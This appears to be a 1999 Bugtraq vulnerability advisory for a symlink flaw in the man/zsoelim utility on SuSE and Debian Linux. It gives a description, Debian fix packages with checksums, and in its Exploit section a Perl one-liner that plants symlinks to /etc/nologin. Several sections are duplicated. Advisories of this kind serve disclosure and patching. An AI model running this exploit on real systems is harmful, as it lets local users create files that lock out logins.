Man Symlink Vulnerability
BID:305
Info
Man Symlink Vulnerability
| Bugtraq ID: | 305 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jun 02 1999 12:00AM |
| Updated: | Jun 02 1999 12:00AM |
| Credit: | This vulnerability was published in the BUGTRAQ mailing list by Thomas Fischbacher <[email protected]>. |
| Vulnerable: |
SuSE Linux 6.1 G. Wilford man 2.3.10 Debian Linux 2.1 |
| Not Vulnerable: | |
Discussion
Man Symlink Vulnerability
The man command created a temporary file under /tmp with a predictable name and is willing to follow symbolic links. This may allow malicious local users to create arbitrarily named files.
zsoelim(1) is a utility part of the man package which prepocess man pages and satisfy .so requests in roff input. This utility may be called when running the man(1) command. It creates temporary filenames are of the form "/tmp/zman0<pid>aaa" where <pid> is the process id of the zsoelim process. The program fails to check for the existance of symlinks and follows them creating arbitrary files with the permissions of the user running man.
The man command created a temporary file under /tmp with a predictable name and is willing to follow symbolic links. This may allow malicious local users to create arbitrarily named files.
zsoelim(1) is a utility part of the man package which prepocess man pages and satisfy .so requests in roff input. This utility may be called when running the man(1) command. It creates temporary filenames are of the form "/tmp/zman0<pid>aaa" where <pid> is the process id of the zsoelim process. The program fails to check for the existance of symlinks and follows them creating arbitrary files with the permissions of the user running man.
Exploit / POC
Man Symlink Vulnerability
perl -e 'for($i=1000;$i<5000;$i++){symlink "/etc/nologin", "/tmp/zman0${i}aaa";}'
perl -e 'for($i=1000;$i<5000;$i++){symlink "/etc/nologin", "/tmp/zman0${i}aaa";}'
Solution / Fix
Man Symlink Vulnerability
Solution:
Debian has made the following fixed packages available for Debian Linux 2.1:
Source archives:
http://security.debian.org/dists/stable/updates/source/man-db_2.3.10-69FIX.1.diff.gz
MD5 checksum: c4285a252e4ed1ffea13ac95930ae108
http://security.debian.org/dists/stable/updates/source/man-db_2.3.10-69FIX.1.dsc
MD5 checksum: 2c8f000da7c4cb05a2264d7d3c25d861
http://security.debian.org/dists/stable/updates/source/man-db_2.3.10.orig.tar.gz
MD5 checksum: d2e9db8c0e1fa96e7463b968ad53a04b
Alpha architecture:
http://security.debian.org/dists/stable/updates/binary-alpha/man-db_2.3.10-69FIX.1_alpha.deb
MD5 checksum: 78d88d31d5248d085b6da774cbf248c3
Intel ia32 architecture:
http://security.debian.org/dists/stable/updates/binary-i386/man-db_2.3.10-69FIX.1_i386.deb
MD5 checksum: 3141d2549a8873895dbc0fd0eead7324
Motorola 680x0 architecture:
http://security.debian.org/dists/stable/updates/binary-m68k/man-db_2.3.10-69FIX.1_m68k.deb
MD5 checksum: 40d30c985d0c9ab3f49649270a23f7f3
Sun Sparc architecture:
http://security.debian.org/dists/stable/updates/binary-sparc/man-db_2.3.10-69FIX.1_sparc.deb
MD5 checksum: c82629497fd027b68173e9cc3705066e
Solution:
Debian has made the following fixed packages available for Debian Linux 2.1:
Source archives:
http://security.debian.org/dists/stable/updates/source/man-db_2.3.10-69FIX.1.diff.gz
MD5 checksum: c4285a252e4ed1ffea13ac95930ae108
http://security.debian.org/dists/stable/updates/source/man-db_2.3.10-69FIX.1.dsc
MD5 checksum: 2c8f000da7c4cb05a2264d7d3c25d861
http://security.debian.org/dists/stable/updates/source/man-db_2.3.10.orig.tar.gz
MD5 checksum: d2e9db8c0e1fa96e7463b968ad53a04b
Alpha architecture:
http://security.debian.org/dists/stable/updates/binary-alpha/man-db_2.3.10-69FIX.1_alpha.deb
MD5 checksum: 78d88d31d5248d085b6da774cbf248c3
Intel ia32 architecture:
http://security.debian.org/dists/stable/updates/binary-i386/man-db_2.3.10-69FIX.1_i386.deb
MD5 checksum: 3141d2549a8873895dbc0fd0eead7324
Motorola 680x0 architecture:
http://security.debian.org/dists/stable/updates/binary-m68k/man-db_2.3.10-69FIX.1_m68k.deb
MD5 checksum: 40d30c985d0c9ab3f49649270a23f7f3
Sun Sparc architecture:
http://security.debian.org/dists/stable/updates/binary-sparc/man-db_2.3.10-69FIX.1_sparc.deb
MD5 checksum: c82629497fd027b68173e9cc3705066e